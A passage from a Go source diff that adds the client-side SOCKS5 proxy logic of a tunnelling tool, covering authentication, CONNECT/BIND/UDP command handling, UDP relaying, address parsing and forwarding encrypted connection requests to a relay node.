CONN_AUTH_PW + } else { + s.conn.Write(SOCKES5_AUTH_SUSSCES) + s.auth = CONN_AUTH_OK + } + + } + + } + case CONN_AUTH_PW: + + if s.cfg.User() != "" && s.cfg.Password() != "" { + if len(data) > 4 { + defer recover() + user := string(data[2 : 2+data[1]]) + password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]]) + if user == s.cfg.User() && password == s.cfg.Password() { + s.conn.Write([]byte{5, 0}) + + s.auth = CONN_AUTH_OK + } else { + s.conn.Write([]byte{5, 1}) + } + } + } else { + s.conn.Write([]byte{5, 0}) + s.auth = CONN_AUTH_OK + } + + case CONN_AUTH_OK: + + s.addrData = data[3:] + switch common.NetWork(data[1]) { + case common.SOCKS5_CMD_CONNECT: + addr, port := socks5ReadAddr(data) + if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port) { + s.Close(nodeIsClose) + } + case common.SOCKS5_CMD_BIND: + addr, port := socks5ReadAddr(data) + if !s.connect(common.SOCKS5_CMD_BIND, addr, port) { + s.Close(nodeIsClose) + } + case common.SOCKS5_CMD_UDP: + + localIP := s.conn.LocalAddr().String() + localIP = localIP[:strings.Index(localIP, ":")] + //找一个能用的udp端口 + var port uint16 + for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ { + s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{ + IP: net.ParseIP(localIP), + Port: int(i), + }) + if err == nil { + port = i + break + } + } + if s.udpConn == nil { + data[0] = 5 + data[1] = 1 //RepRuleFailure + s.conn.Write(data) + continue + } + repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)} + ipb := ipToByte(localIP) + addr, port := socks5ReadAddr(data) + + if s.connect(common.SOCKS5_CMD_UDP, addr, port) { + copy(repdata[4:], ipb) + s.conn.Write(repdata) + go handleSocks5Udp(s) + } else { + s.Close(nodeIsClose) + } + default: + data[0] = 5 + data[1] = 7 //RepCmdNotSupported + s.conn.Write(data) + } + + case CONN_AUTH_MESSAGE: + + //binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno) + //conn.msgno++ + + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + buf := make([]byte, 8) + buf[0] = byte(new_size) + buf[1] = byte(new_size >> 8) + buf[2] = byte(new_size >> 16) + buf[3] = byte(new_size >> 24) + buf[4] = byte(new_size >> 32) + buf[5] = byte(new_size >> 40) + buf[6] = byte(new_size >> 48) + buf[7] = byte(new_size >> 56) + + s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...)) + } + } + +} +func handleSocks5Udp(s *clientConnect) { + var b = make([]byte, 65535) + for { + n, err := s.udpConn.Read(b) + if err != nil { + s.Close(err.Error()) + return + } + data := b[:n] + if b[2] != 0 { + //不支持分片 + continue + } + + data = data[3:] + common.GetIDLock.Lock() + var udpid uint32 + switch data[0] { + case 1: + ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6])) + if v, ok := s.udpMap.Load(ip); !ok { + + udps := &clientConnect{ + server: s.server, + randkey: s.randkey, + } + udps.udpConn = s.udpConn + udps.id = udps.server.storeConn(s) + udpid = udps.id + udps.udpRepData = make([]byte, 10) + copy(udps.udpRepData, data) + udps.udpMap.Store(ip, udpid) + } else { + udpid = v.(uint32) + } + case 3: + case 4: + } + common.GetIDLock.Unlock() + buf := make([]byte, 4) + buf[0] = byte(udpid) + buf[1] = byte(udpid >> 8) + buf[2] = byte(udpid >> 16) + buf[3] = byte(udpid >> 24) + s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...)) + } + +} +func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool { + if atomic.LoadInt32(&s.server.isClose) == 1 { + s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs) + } + if atomic.LoadInt32(&s.server.isClose) == 1 { + return false + } + ports := strconv.Itoa(int(port)) + buf := make([]byte, 2+len(addr)+len(ports)) + s.id = s.server.storeConn(s) + buf[0] = byte(command) + copy(buf[1:], addr) + buf[1+len(addr)] = ':' + copy(buf[2+len(addr):], ports) + s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...))) + if value, ok := s.server.listenMap.Load(s.listenId); ok { + switch v := value.(type) { + case *serverListen: + v.connMap.Store(s.id, s) + case *clientListen: + v.connMap.Store(s.id, s) + } + } + return true +} + +func Bytes2str(b []byte) string { + return *(*string)(unsafe.Pointer(&b)) +} + +func (s *clientConnect) Remoteclose() { + + s.close = "本地要求远程关闭" + + buf := make([]byte, 4) + buf[0] = byte(s.id) + buf[1] = byte(s.id >> 8) + buf[2] = byte(s.id >> 16) + buf[3] = byte(s.id >> 24) + s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...)) + +} + +func ipToByte(ip string) []byte { + var b []byte + + if strings.Contains(ip, ".") { + for _, s := range strings.Split(ip, ".") { + i, _ := strconv.Atoi(s) + b = append(b, byte(i)) + } + } + + return b +} +func socks5ReadAddr(data []byte) (addr string, port uint16) { + port = binary.BigEndian.Uint16(data[len(data)-2:]) + switch data[3] { + case 1: //ipv4 + str := make([][]byte, 4) + for k, v := range data[4:8] { + str[k] = []byte(strconv.Itoa(int(v))) + } + addr = string(bytes.Join(str, []byte{46})) + + case 3: //域名 + addr = string(data[5 : len(data)-2]) + + case 4: //ipv6 + strs := make([]string, 0) + for i := 4; i < 20; i += 2 { + str := "" + for j := 0; j < 2; j++ { + str += fmt.Sprintf("%0.2x", data[i+j]) + } + str = strings.TrimLeft(str, "0") + if str == "" { + str = "0" + } + strs = append(strs, str) + } + addr = "[" + strings.Join(strs, ":") + "]" + + default: + + } + + return +}